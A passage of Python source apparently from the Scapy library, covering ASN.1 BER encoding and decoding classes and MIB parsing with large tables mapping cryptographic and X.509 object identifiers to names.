b"".join(s) @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Type[ASN1_Class]] safe=False, # type: bool ): # type: (...) -> Tuple[ASN1_Object[int], bytes] l, s, t = cls.check_type_check_len(s) x = 0 if s: if orb(s[0]) & 0x80: # negative int x = -1 for c in s: x <<= 8 x |= orb(c) return cls.asn1_object(x), t class BERcodec_BOOLEAN(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN class BERcodec_BIT_STRING(BERcodec_Object[str]): tag = ASN1_Class_UNIVERSAL.BIT_STRING @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Type[ASN1_Class]] safe=False # type: bool ): # type: (...) -> Tuple[ASN1_Object[str], bytes] # /!\ the unused_bits information is lost after this decoding l, s, t = cls.check_type_check_len(s) if len(s) > 0: unused_bits = orb(s[0]) if safe and unused_bits > 7: raise BER_Decoding_Error( "BERcodec_BIT_STRING: too many unused_bits advertised", remaining=s ) fs = "".join(binrepr(orb(x)).zfill(8) for x in s[1:]) if unused_bits > 0: fs = fs[:-unused_bits] return cls.tag.asn1_object(fs), t else: raise BER_Decoding_Error( "BERcodec_BIT_STRING found no content " "(not even unused_bits byte)", remaining=s ) @classmethod def enc(cls, _s, size_len=0): # type: (AnyStr, Optional[int]) -> bytes # /!\ this is DER encoding (bit strings are only zero-bit padded) s = bytes_encode(_s) if len(s) % 8 == 0: unused_bits = 0 else: unused_bits = 8 - len(s) % 8 s += b"0" * unused_bits s = b"".join(chb(int(b"".join(chb(y) for y in x), 2)) for x in zip(*[iter(s)] * 8)) s = chb(unused_bits) + s return chb(int(cls.tag)) + BER_len_enc(len(s), size=size_len) + s class BERcodec_STRING(BERcodec_Object[str]): tag = ASN1_Class_UNIVERSAL.STRING @classmethod def enc(cls, _s, size_len=0): # type: (Union[str, bytes], Optional[int]) -> bytes s = bytes_encode(_s) # Be sure we are encoding bytes return chb(int(cls.tag)) + BER_len_enc(len(s), size=size_len) + s @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Type[ASN1_Class]] safe=False, # type: bool ): # type: (...) -> Tuple[ASN1_Object[Any], bytes] l, s, t = cls.check_type_check_len(s) return cls.tag.asn1_object(s), t class BERcodec_NULL(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.NULL @classmethod def enc(cls, i, size_len=0): # type: (int, Optional[int]) -> bytes if i == 0: return chb(int(cls.tag)) + b"\0" else: return super(cls, cls).enc(i, size_len=size_len) class BERcodec_OID(BERcodec_Object[bytes]): tag = ASN1_Class_UNIVERSAL.OID @classmethod def enc(cls, _oid, size_len=0): # type: (AnyStr, Optional[int]) -> bytes oid = bytes_encode(_oid) if oid: lst = [int(x) for x in oid.strip(b".").split(b".")] else: lst = list() if len(lst) >= 2: lst[1] += 40 * lst[0] del lst[0] s = b"".join(BER_num_enc(k) for k in lst) return chb(int(cls.tag)) + BER_len_enc(len(s), size=size_len) + s @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Type[ASN1_Class]] safe=False, # type: bool ): # type: (...) -> Tuple[ASN1_Object[bytes], bytes] l, s, t = cls.check_type_check_len(s) lst = [] while s: l, s = BER_num_dec(s) lst.append(l) if (len(lst) > 0): lst.insert(0, lst[0] // 40) lst[1] %= 40 return ( cls.asn1_object(b".".join(str(k).encode('ascii') for k in lst)), t, ) class BERcodec_ENUMERATED(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class BERcodec_UTF8_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UTF8_STRING class BERcodec_NUMERIC_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class BERcodec_PRINTABLE_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class BERcodec_T61_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class BERcodec_VIDEOTEX_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class BERcodec_IA5_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class BERcodec_GENERAL_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.GENERAL_STRING class BERcodec_UTC_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UTC_TIME class BERcodec_GENERALIZED_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class BERcodec_ISO646_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.ISO646_STRING class BERcodec_UNIVERSAL_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING class BERcodec_BMP_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.BMP_STRING class BERcodec_SEQUENCE(BERcodec_Object[Union[bytes, List[BERcodec_Object[Any]]]]): # noqa: E501 tag = ASN1_Class_UNIVERSAL.SEQUENCE @classmethod def enc(cls, _ll, size_len=0): # type: (Union[bytes, List[BERcodec_Object[Any]]], Optional[int]) -> bytes if isinstance(_ll, bytes): ll = _ll else: ll = b"".join(x.enc(cls.codec) for x in _ll) return chb(int(cls.tag)) + BER_len_enc(len(ll), size=size_len) + ll @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Type[ASN1_Class]] safe=False # type: bool ): # type: (...) -> Tuple[ASN1_Object[Union[bytes, List[Any]]], bytes] if context is None: context = cls.tag.context ll, st = cls.check_type_get_len(s) # we may have len(s) < ll s, t = st[:ll], st[ll:] obj = [] while s: try: o, remain = BERcodec_Object.dec( s, context, safe ) # type: Tuple[ASN1_Object[Any], bytes] s = remain except BER_Decoding_Error as err: err.remaining += t if err.decoded is not None: obj.append(err.decoded) err.decoded = obj raise obj.append(o) if len(st) < ll: raise BER_Decoding_Error("Not enough bytes to decode sequence", decoded=obj) return cls.asn1_object(obj), t class BERcodec_SET(BERcodec_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class BERcodec_IPADDRESS(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IPADDRESS @classmethod def enc(cls, ipaddr_ascii, size_len=0): # type: ignore # type: (str, Optional[int]) -> bytes try: s = inet_aton(ipaddr_ascii) except Exception: raise BER_Encoding_Error("IPv4 address could not be encoded") return chb(int(cls.tag)) + BER_len_enc(len(s), size=size_len) + s @classmethod def do_dec(cls, s, context=None, safe=False): # type: (bytes, Optional[Any], bool) -> Tuple[ASN1_Object[str], bytes] l, s, t = cls.check_type_check_len(s) try: ipaddr_ascii = inet_ntoa(s) except Exception: raise BER_Decoding_Error("IP address could not be decoded", remaining=s) return cls.asn1_object(ipaddr_ascii), t class BERcodec_COUNTER32(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class BERcodec_COUNTER64(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER64 class BERcodec_GAUGE32(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.GAUGE32 class BERcodec_TIME_TICKS(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS ================================================ FILE: scapy/asn1/mib.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Acknowledgment: Maxence Tury """ Management Information Base (MIB) parsing """ import re from glob import glob from scapy.dadict import DADict, fixname from scapy.config import conf from scapy.utils import do_graph from scapy.compat import plain_str from typing import ( Any, Dict, List, Optional, Tuple, ) ################# # MIB parsing # ################# _mib_re_integer = re.compile(r"^[0-9]+$") _mib_re_both = re.compile(r"^([a-zA-Z_][a-zA-Z0-9_-]*)\(([0-9]+)\)$") _mib_re_oiddecl = re.compile( r"$\s*([a-zA-Z0-9_-]+)\s+OBJECT[^:\{\}]+::=\s*\{([^\}]+)\}", re.M) _mib_re_strings = re.compile(r'"[^"]*"') _mib_re_comments = re.compile(r'--.*(\r|\n)') class MIBDict(DADict[str, str]): def _findroot(self, x): # type: (str) -> Tuple[str, str, str] """Internal MIBDict function used to find a partial OID""" if x.startswith("."): x = x[1:] if not x.endswith("."): x += "." max = 0 root = "." root_key = "" for k in self: if x.startswith(k + "."): if max < len(k): max = len(k) root = self[k] root_key = k return root, root_key, x[max:-1] def _oidname(self, x): # type: (str) -> str """Deduce the OID name from its OID ID""" root, _, remainder = self._findroot(x) return root + remainder def _oid(self, x): # type: (str) -> str """Parse the OID id/OID generator, and return real OID""" xl = x.strip(".").split(".") p = len(xl) - 1 while p >= 0 and _mib_re_integer.match(xl[p]): p -= 1 if p != 0 or xl[p] not in self.d.values(): return x xl[p] = next(k for k, v in self.d.items() if v == xl[p]) return ".".join(xl[p:]) def _make_graph(self, other_keys=None, **kargs): # type: (Optional[Any], **Any) -> None if other_keys is None: other_keys = [] nodes = [(self[key], key) for key in self.iterkeys()] oids = set(self.iterkeys()) for k in other_keys: if k not in oids: nodes.append((self._oidname(k), k)) s = 'digraph "mib" {\n\trankdir=LR;\n\n' for k, o in nodes: s += '\t"%s" [ label="%s" ];\n' % (o, k) s += "\n" for k, o in nodes: parent, parent_key, remainder = self._findroot(o[:-1]) remainder = remainder[1:] + o[-1] if parent != ".": parent = parent_key s += '\t"%s" -> "%s" [label="%s"];\n' % (parent, o, remainder) s += "}\n" do_graph(s, **kargs) def _mib_register(ident, # type: str value, # type: List[str] the_mib, # type: Dict[str, List[str]] unresolved, # type: Dict[str, List[str]] alias, # type: Dict[str, str] ): # type: (...) -> bool """ Internal function used to register an OID and its name in a MIBDict """ if ident in the_mib: # We have already resolved this one. Store the alias alias[".".join(value)] = ident return True if ident in unresolved: # We know we can't resolve this one return False resval = [] not_resolved = 0 # Resolve the OID # (e.g. 2.basicConstraints.3 -> 2.2.5.29.19.3) for v in value: if _mib_re_integer.match(v): resval.append(v) else: v = fixname(plain_str(v)) if v not in the_mib: not_resolved = 1 if v in the_mib: resval += the_mib[v] elif v in unresolved: resval += unresolved[v] else: resval.append(v) if not_resolved: # Unresolved unresolved[ident] = resval return False else: # Fully resolved the_mib[ident] = resval keys = list(unresolved) i = 0 # Go through the unresolved to update the ones that # depended on the one we just did while i < len(keys): k = keys[i] if _mib_register(k, unresolved[k], the_mib, {}, alias): # Now resolved: we can remove it from unresolved del unresolved[k] del keys[i] i = 0 else: i += 1 return True def load_mib(filenames): # type: (str) -> None """ Load the conf.mib dict from a list of filenames """ the_mib = {'iso': ['1']} unresolved = {} # type: Dict[str, List[str]] alias = {} # type: Dict[str, str] # Export the current MIB to a working dictionary for k in conf.mib: _mib_register(conf.mib[k], k.split("."), the_mib, unresolved, alias) # Read the files if isinstance(filenames, (str, bytes)): files_list = [filenames] else: files_list = filenames for fnames in files_list: for fname in glob(fnames): with open(fname) as f: text = f.read() cleantext = " ".join( _mib_re_strings.split(" ".join(_mib_re_comments.split(text))) ) for m in _mib_re_oiddecl.finditer(cleantext): gr = m.groups() ident, oid_s = gr[0], gr[-1] ident = fixname(ident) oid_l = oid_s.split() for i, elt in enumerate(oid_l): m2 = _mib_re_both.match(elt) if m2: oid_l[i] = m2.groups()[1] _mib_register(ident, oid_l, the_mib, unresolved, alias) # Create the new MIB newmib = MIBDict(_name="MIB") # Add resolved values for oid, key in the_mib.items(): newmib[".".join(key)] = oid # Add unresolved values for oid, key in unresolved.items(): newmib[".".join(key)] = oid # Add aliases for key_s, oid in alias.items(): newmib[key_s] = oid conf.mib = newmib #################### # OID references # #################### # pkcs1 # pkcs1_oids = { "1.2.840.113549.1.1": "pkcs1", "1.2.840.113549.1.1.1": "rsaEncryption", "1.2.840.113549.1.1.2": "md2WithRSAEncryption", "1.2.840.113549.1.1.3": "md4WithRSAEncryption", "1.2.840.113549.1.1.4": "md5WithRSAEncryption", "1.2.840.113549.1.1.5": "sha1-with-rsa-signature", "1.2.840.113549.1.1.6": "rsaOAEPEncryptionSET", "1.2.840.113549.1.1.7": "id-RSAES-OAEP", "1.2.840.113549.1.1.8": "id-mgf1", "1.2.840.113549.1.1.9": "id-pSpecified", "1.2.840.113549.1.1.10": "rsassa-pss", "1.2.840.113549.1.1.11": "sha256WithRSAEncryption", "1.2.840.113549.1.1.12": "sha384WithRSAEncryption", "1.2.840.113549.1.1.13": "sha512WithRSAEncryption", "1.2.840.113549.1.1.14": "sha224WithRSAEncryption" } # secsig oiw # secsig_oids = { "1.3.14.3.2": "OIWSEC", "1.3.14.3.2.2": "md4RSA", "1.3.14.3.2.3": "md5RSA", "1.3.14.3.2.4": "md4RSA2", "1.3.14.3.2.6": "desECB", "1.3.14.3.2.7": "desCBC", "1.3.14.3.2.8": "desOFB", "1.3.14.3.2.9": "desCFB", "1.3.14.3.2.10": "desMAC", "1.3.14.3.2.11": "rsaSign", "1.3.14.3.2.12": "dsa", "1.3.14.3.2.13": "shaDSA", "1.3.14.3.2.14": "mdc2RSA", "1.3.14.3.2.15": "shaRSA", "1.3.14.3.2.16": "dhCommMod", "1.3.14.3.2.17": "desEDE", "1.3.14.3.2.18": "sha", "1.3.14.3.2.19": "mdc2", "1.3.14.3.2.20": "dsaComm", "1.3.14.3.2.21": "dsaCommSHA", "1.3.14.3.2.22": "rsaXchg", "1.3.14.3.2.23": "keyHashSeal", "1.3.14.3.2.24": "md2RSASign", "1.3.14.3.2.25": "md5RSASign", "1.3.14.3.2.26": "sha1", "1.3.14.3.2.27": "dsaSHA1", "1.3.14.3.2.28": "dsaCommSHA1", "1.3.14.3.2.29": "sha1RSASign", } # nist # nist_oids = { "2.16.840.1.101.3.4.2.1": "sha256", "2.16.840.1.101.3.4.2.2": "sha384", "2.16.840.1.101.3.4.2.3": "sha512", "2.16.840.1.101.3.4.2.4": "sha224", "2.16.840.1.101.3.4.2.5": "sha512-224", "2.16.840.1.101.3.4.2.6": "sba512-256", "2.16.840.1.101.3.4.2.7": "sha3-224", "2.16.840.1.101.3.4.2.8": "sha3-256", "2.16.840.1.101.3.4.2.9": "sha3-384", "2.16.840.1.101.3.4.2.10": "sha3-512", "2.16.840.1.101.3.4.2.11": "shake128", "2.16.840.1.101.3.4.2.12": "shake256", } # thawte # thawte_oids = { "1.3.101.112": "Ed25519", "1.3.101.113": "Ed448", } # pkcs3 # pkcs3_oids = { "1.2.840.113549.1.3": "pkcs-3", "1.2.840.113549.1.3.1": "dhKeyAgreement", } # pkcs7 # pkcs7_oids = { "1.2.840.113549.1.7": "pkcs-7", "1.2.840.113549.1.7.2": "id-signedData", "1.2.840.113549.1.7.3": "id-envelopedData", } # pkcs9 # pkcs9_oids = { "1.2.840.113549.1.9": "pkcs-9", "1.2.840.113549.1.9.0": "modules", "1.2.840.113549.1.9.1": "emailAddress", "1.2.840.113549.1.9.2": "unstructuredName", "1.2.840.113549.1.9.3": "contentType", "1.2.840.113549.1.9.4": "messageDigest", "1.2.840.113549.1.9.5": "signing-time", "1.2.840.113549.1.9.6": "countersignature", "1.2.840.113549.1.9.7": "challengePassword", "1.2.840.113549.1.9.8": "unstructuredAddress", "1.2.840.113549.1.9.9": "extendedCertificateAttributes", "1.2.840.113549.1.9.13": "signingDescription", "1.2.840.113549.1.9.14": "extensionRequest", "1.2.840.113549.1.9.15": "smimeCapabilities", "1.2.840.113549.1.9.16": "smime", "1.2.840.113549.1.9.17": "pgpKeyID", "1.2.840.113549.1.9.20": "friendlyName", "1.2.840.113549.1.9.21": "localKeyID", "1.2.840.113549.1.9.22": "certTypes", "1.2.840.113549.1.9.23": "crlTypes", "1.2.840.113549.1.9.24": "pkcs-9-oc", "1.2.840.113549.1.9.25": "pkcs-9-at", "1.2.840.113549.1.9.26": "pkcs-9-sx", "1.2.840.113549.1.9.27": "pkcs-9-mr", "1.2.840.113549.1.9.52": "id-aa-CMSAlgorithmProtection" } # enc algs # encAlgs_oids = { "1.2.840.113549.3.4": "rc4", "1.2.840.113549.3.7": "des-ede3-cbc", } # x509 # attributeType_oids = { "2.5.4.0": "objectClass", "2.5.4.1": "aliasedEntryName", "2.5.4.2": "knowledgeInformation", "2.5.4.3": "commonName", "2.5.4.4": "surname", "2.5.4.5": "serialNumber", "2.5.4.6": "countryName", "2.5.4.7": "localityName", "2.5.4.8": "stateOrProvinceName", "2.5.4.9": "streetAddress", "2.5.4.10": "organizationName", "2.5.4.11": "organizationUnitName", "2.5.4.12": "title", "2.5.4.13": "description", "2.5.4.14": "searchGuide", "2.5.4.15": "businessCategory", "2.5.4.16": "postalAddress", "2.5.4.17": "postalCode", "2.5.4.18": "postOfficeBox", "2.5.4.19": "physicalDeliveryOfficeName", "2.5.4.20": "telephoneNumber", "2.5.4.21": "telexNumber", "2.5.4.22": "teletexTerminalIdentifier", "2.5.4.23": "facsimileTelephoneNumber", "2.5.4.24": "x121Address", "2.5.4.25": "internationalISDNNumber", "2.5.4.26": "registeredAddress", "2.5.4.27": "destinationIndicator", "2.5.4.28": "preferredDeliveryMethod", "2.5.4.29": "presentationAddress", "2.5.4.30": "supportedApplicationContext", "2.5.4.31": "member", "2.5.4.32": "owner", "2.5.4.33": "roleOccupant", "2.5.4.34": "seeAlso", "2.5.4.35": "userPassword", "2.5.4.36": "userCertificate", "2.5.4.37": "cACertificate", "2.5.4.38": "authorityRevocationList", "2.5.4.39": "certificateRevocationList", "2.5.4.40": "crossCertificatePair", "2.5.4.41": "name", "2.5.4.42": "givenName", "2.5.4.43": "initials", "2.5.4.44": "generationQualifier", "2.5.4.45": "uniqueIdentifier", "2.5.4.46": "dnQualifier", "2.5.4.47": "enhancedSearchGuide", "2.5.4.48": "protocolInformation", "2.5.4.49": "distinguishedName", "2.5.4.50": "uniqueMember", "2.5.4.51": "houseIdentifier", "2.5.4.52": "supportedAlgorithms", "2.5.4.53": "deltaRevocationList", "2.5.4.54": "dmdName", "2.5.4.55": "clearance", "2.5.4.56": "defaultDirQop", "2.5.4.57": "attributeIntegrityInfo", "2.5.4.58": "attributeCertificate", "2.5.4.59": "attributeCertificateRevocationList", "2.5.4.60": "confKeyInfo", "2.5.4.61": "aACertificate", "2.5.4.62": "attributeDescriptorCertificate", "2.5.4.63": "attributeAuthorityRevocationList", "2.5.4.64": "family-information", "2.5.4.65": "pseudonym", "2.5.4.66": "communicationsService", "2.5.4.67": "communicationsNetwork", "2.5.4.68": "certificationPracticeStmt", "2.5.4.69": "certificatePolicy", "2.5.4.70": "pkiPath", "2.5.4.71": "privPolicy", "2.5.4.72": "role", "2.5.4.73": "delegationPath", "2.5.4.74": "protPrivPolicy", "2.5.4.75": "xMLPrivilegeInfo", "2.5.4.76": "xmlPrivPolicy", "2.5.4.77": "uuidpair", "2.5.4.78": "tagOid", "2.5.4.79": "uiiFormat", "2.5.4.80": "uiiInUrh", "2.5.4.81": "contentUrl", "2.5.4.82": "permission", "2.5.4.83": "uri", "2.5.4.84": "pwdAttribute", "2.5.4.85": "userPwd", "2.5.4.86": "urn", "2.5.4.87": "url", "2.5.4.88": "utmCoordinates", "2.5.4.89": "urnC", "2.5.4.90": "uii", "2.5.4.91": "epc", "2.5.4.92": "tagAfi", "2.5.4.93": "epcFormat", "2.5.4.94": "epcInUrn", "2.5.4.95": "ldapUrl", "2.5.4.96": "ldapUrl", "2.5.4.97": "organizationIdentifier", # RFC 4519 "0.9.2342.19200300.100.1.25": "dc", } certificateExtension_oids = { "2.5.29.1": "authorityKeyIdentifier(obsolete)", "2.5.29.2": "keyAttributes", "2.5.29.3": "certificatePolicies(obsolete)", "2.5.29.4": "keyUsageRestriction", "2.5.29.5": "policyMapping", "2.5.29.6": "subtreesConstraint", "2.5.29.7": "subjectAltName(obsolete)", "2.5.29.8": "issuerAltName(obsolete)", "2.5.29.9": "subjectDirectoryAttributes", "2.5.29.10": "basicConstraints(obsolete)", "2.5.29.14": "subjectKeyIdentifier", "2.5.29.15": "keyUsage", "2.5.29.16": "privateKeyUsagePeriod", "2.5.29.17": "subjectAltName", "2.5.29.18": "issuerAltName", "2.5.29.19": "basicConstraints", "2.5.29.20": "cRLNumber", "2.5.29.21": "reasonCode", "2.5.29.22": "expirationDate", "2.5.29.23": "instructionCode", "2.5.29.24": "invalidityDate", "2.5.29.25": "cRLDistributionPoints(obsolete)", "2.5.29.26": "issuingDistributionPoint(obsolete)", "2.5.29.27": "deltaCRLIndicator", "2.5.29.28": "issuingDistributionPoint", "2.5.29.29": "certificateIssuer", "2.5.29.30": "nameConstraints", "2.5.29.31": "cRLDistributionPoints", "2.5.29.32": "certificatePolicies", "2.5.29.33": "policyMappings", "2.5.29.34": "policyConstraints(obsolete)", "2.5.29.35": "authorityKeyIdentifier", "2.5.29.36": "policyConstraints", "2.5.29.37": "extKeyUsage", "2.5.29.38": "authorityAttributeIdentifier", "2.5.29.39": "roleSpecCertIdentifier", "2.5.29.40": "cRLStreamIdentifier", "2.5.29.41": "basicAttConstraints", "2.5.29.42": "delegatedNameConstraints", "2.5.29.43": "timeSpecification", "2.5.29.44": "cRLScope", "2.5.29.45": "statusReferrals", "2.5.29.46": "freshestCRL", "2.5.29.47": "orderedList", "2.5.29.48": "attributeDescriptor", "2.5.29.49": "userNotice", "2.5.29.50": "sOAIdentifier", "2.5.29.51": "baseUpdateTime", "2.5.29.52": "acceptableCertPolicies", "2.5.29.53": "deltaInfo", "2.5.29.54": "inhibitAnyPolicy", "2.5.29.55": "targetInformation", "2.5.29.56": "noRevAvail", "2.5.29.57": "acceptablePrivilegePolicies", "2.5.29.58": "id-ce-toBeRevoked", "2.5.29.59": "id-ce-RevokedGroups", "2.5.29.60": "id-ce-expiredCertsOnCRL", "2.5.29.61": "indirectIssuer", "2.5.29.62": "id-ce-noAssertion", "2.5.29.63": "id-ce-aAissuingDistributionPoint", "2.5.29.64": "id-ce-issuedOnBehaIFOF", "2.5.29.65": "id-ce-singleUse", "2.5.29.66": "id-ce-groupAC", "2.5.29.67": "id-ce-allowedAttAss", "2.5.29.68": "id-ce-attributeMappings", "2.5.29.69": "id-ce-holderNameConstraints", # [MS-WCCE] + wincrypt.h "1.3.6.1.4.1.311.2.1.14": "OID_CERT_EXTENSIONS", "1.3.6.1.4.1.311.10.3.4": "OID_EFS_CRYPTO", "1.3.6.1.4.1.311.13.2.1": "OID_ENROLLMENT_NAME_VALUE_PAIR", "1.3.6.1.4.1.311.13.2.2": "OID_ENROLLMENT_CSP_PROVIDER", "1.3.6.1.4.1.311.13.2.3": "OID_OS_VERSION", "1.3.6.1.4.1.311.10.10.1": "OID_CMC_ADD_ATTRIBUTES", "1.3.6.1.4.1.311.20.2": "ENROLL_CERTTYPE", "1.3.6.1.4.1.311.21.10": "OID_APPLICATION_CERT_POLICIES", "1.3.6.1.4.1.311.21.20": "OID_REQUEST_CLIENT_INFO", "1.3.6.1.4.1.311.21.23": "OID_ENROLL_EK_INFO", "1.3.6.1.4.1.311.21.24": "OID_ENROLL_ATTESTATION_STATEMENT", "1.3.6.1.4.1.311.21.25": "OID_ENROLL_KSP_NAME", "1.3.6.1.4.1.311.21.39": "OID_ENROLL_AIK_INFO", "1.3.6.1.4.1.311.21.7": "OID_CERTIFICATE_TEMPLATE", "1.3.6.1.4.1.311.25.1": "NTDS_REPLICATION", "1.3.6.1.4.1.311.25.2": "NTDS_CA_SECURITY_EXT", "1.3.6.1.4.1.311.25.2.1": "NTDS_OBJECTSID", } certExt_oids = { "2.16.840.1.113730.1.1": "cert-type", "2.16.840.1.113730.1.2": "base-url", "2.16.840.1.113730.1.3": "revocation-url", "2.16.840.1.113730.1.4": "ca-revocation-url", "2.16.840.1.113730.1.5": "ca-crl-url", "2.16.840.1.113730.1.6": "ca-cert-url", "2.16.840.1.113730.1.7": "renewal-url", "2.16.840.1.113730.1.8": "ca-policy-url", "2.16.840.1.113730.1.9": "homepage-url", "2.16.840.1.113730.1.10": "entity-logo", "2.16.840.1.113730.1.11": "user-picture", "2.16.840.1.113730.1.12": "ssl-server-name", "2.16.840.1.113730.1.13": "comment", "2.16.840.1.113730.1.14": "lost-password-url", "2.16.840.1.113730.1.15": "cert-renewal-time", "2.16.840.1.113730.1.16": "aia", "2.16.840.1.113730.1.17": "cert-scope-of-use", } certPkixPe_oids = { "1.3.6.1.5.5.7.1.1": "authorityInfoAccess", "1.3.6.1.5.5.7.1.2": "biometricInfo", "1.3.6.1.5.5.7.1.3": "qcStatements", "1.3.6.1.5.5.7.1.4": "auditIdentity", "1.3.6.1.5.5.7.1.6": "aaControls", "1.3.6.1.5.5.7.1.10": "proxying", "1.3.6.1.5.5.7.1.11": "subjectInfoAccess" } certPkixQt_oids = { "1.3.6.1.5.5.7.2.1": "cps", "1.3.6.1.5.5.7.2.2": "unotice" } certPkixKp_oids = { "1.3.6.1.5.5.7.3.1": "serverAuth", "1.3.6.1.5.5.7.3.2": "clientAuth", "1.3.6.1.5.5.7.3.3": "codeSigning", "1.3.6.1.5.5.7.3.4": "emailProtection", "1.3.6.1.5.5.7.3.5": "ipsecEndSystem", "1.3.6.1.5.5.7.3.6": "ipsecTunnel", "1.3.6.1.5.5.7.3.7": "ipsecUser", "1.3.6.1.5.5.7.3.8": "timeStamping", "1.3.6.1.5.5.7.3.9": "ocspSigning", "1.3.6.1.5.5.7.3.10": "dvcs", "1.3.6.1.5.5.7.3.21": "secureShellClient", "1.3.6.1.5.5.7.3.22": "secureShellServer" } certPkixCmc_oids = { "1.3.6.1.5.5.7.7.8": "id-cmc-addExtensions", } certPkixCct_oids = { "1.3.6.1.5.5.7.12.2": "id-cct-PKIData", "1.3.6.1.5.5.7.12.3": "id-cct-PKIResponse", } certPkixAd_oids = { "1.3.6.1.5.5.7.48.1": "ocsp", "1.3.6.1.5.5.7.48.2": "caIssuers", "1.3.6.1.5.5.7.48.3": "timestamping", "1.3.6.1.5.5.7.48.4": "id-ad-dvcs", "1.3.6.1.5.5.7.48.5": "id-ad-caRepository", "1.3.6.1.5.5.7.48.6": "id-pkix-ocsp-archive-cutoff", "1.3.6.1.5.5.7.48.7": "id-pkix-ocsp-service-locator", "1.3.6.1.5.5.7.48.12": "id-ad-cmc", "1.3.6.1.5.5.7.48.1.1": "basic-response" } certIpsec_oids = { "1.3.6.1.5.5.8.2.1": "iKEEnd", "1.3.6.1.5.5.8.2.2": "iKEIntermediate", } certTransp_oids = { '1.3.6.1.4.1.11129.2.4.2': "SignedCertificateTimestampList", } # ansi-x962 # x962KeyType_oids = { "1.2.840.10045.1.1": "prime-field", "1.2.840.10045.1.2": "characteristic-two-field", "1.2.840.10045.2.1": "ecPublicKey", } x962Signature_oids = { "1.2.840.10045.4.1": "ecdsa-with-SHA1", "1.2.840.10045.4.2": "ecdsa-with-Recommended", "1.2.840.10045.4.3.1": "ecdsa-with-SHA224", "1.2.840.10045.4.3.2": "ecdsa-with-SHA256", "1.2.840.10045.4.3.3": "ecdsa-with-SHA384", "1.2.840.10045.4.3.4": "ecdsa-with-SHA512" } # ansi-x942 # x942KeyType_oids = { "1.2.840.10046.2.1": "dhpublicnumber", # RFC3770 sect 4.1.1 } # elliptic curves # ansiX962Curve_oids = { "1.2.840.10045.3.1.1": "prime192v1", "1.2.840.10045.3.1.2": "prime192v2", "1.2.840.10045.3.1.3": "prime192v3", "1.2.840.10045.3.1.4": "prime239v1", "1.2.840.10045.3.1.5": "prime239v2", "1.2.840.10045.3.1.6": "prime239v3", "1.2.840.10045.3.1.7": "prime256v1" } certicomCurve_oids = { "1.3.132.0.1": "ansit163k1", "1.3.132.0.2": "ansit163r1", "1.3.132.0.3": "ansit239k1", "1.3.132.0.4": "sect113r1", "1.3.132.0.5": "sect113r2", "1.3.132.0.6": "secp112r1", "1.3.132.0.7": "secp112r2", "1.3.132.0.8": "ansip160r1", "1.3.132.0.9": "ansip160k1", "1.3.132.0.10": "ansip256k1", "1.3.132.0.15": "ansit163r2", "1.3.132.0.16": "ansit283k1", "1.3.132.0.17": "ansit283r1", "1.3.132.0.22": "sect131r1", "1.3.132.0.24": "ansit193r1", "1.3.132.0.25": "ansit193r2", "1.3.132.0.26": "ansit233k1", "1.3.132.0.27": "ansit233r1", "1.3.132.0.28": "secp128r1", "1.3.132.0.29": "secp128r2", "1.3.132.0.30": "ansip160r2", "1.3.132.0.31": "ansip192k1", "1.3.132.0.32": "ansip224k1", "1.3.132.0.33": "ansip224r1", "1.3.132.0.34": "ansip384r1", "1.3.132.0.35": "ansip521r1", "1.3.132.0.36": "ansit409k1", "1.3.132.0.37": "ansit409r1", "1.3.132.0.38": "ansit571k1", "1.3.132.0.39": "ansit571r1" } # policies # certPolicy_oids = { "2.5.29.32.0": "anyPolicy" } # from Chromium source code (ev_root_ca_metadata.cc) evPolicy_oids = { '1.2.392.200091.100.721.1': 'EV Security Communication RootCA1', '1.2.616.1.113527.2.5.1.1': 'EV Certum Trusted Network CA', '1.3.159.1.17.1': 'EV Actualis Authentication Root CA', '1.3.6.1.4.1.13177.10.1.3.10': 'EV Autoridad de Certificacion Firmaprofesional CIF A62634068', '1.3.6.1.4.1.14370.1.6': 'EV GeoTrust Primary Certification Authority', '1.3.6.1.4.1.14777.6.1.1': 'EV Izenpe.com roots Business', '1.3.6.1.4.1.14777.6.1.2': 'EV Izenpe.com roots Government', '1.3.6.1.4.1.17326.10.14.2.1.2': 'EV AC Camerfirma S.A. Chambers of Commerce Root - 2008', '1.3.6.1.4.1.17326.10.14.2.2.2': 'EV AC Camerfirma S.A. Chambers of Commerce Root - 2008', '1.3.6.1.4.1.17326.10.8.12.1.2': 'EV AC Camerfirma S.A. Global Chambersign Root - 2008', '1.3.6.1.4.1.17326.10.8.12.2.2': 'EV AC Camerfirma S.A. Global Chambersign Root - 2008', '1.3.6.1.4.1.22234.2.5.2.3.1': 'EV CertPlus Class 2 Primary CA (KEYNECTIS)', '1.3.6.1.4.1.23223.1.1.1': 'EV StartCom Certification Authority', 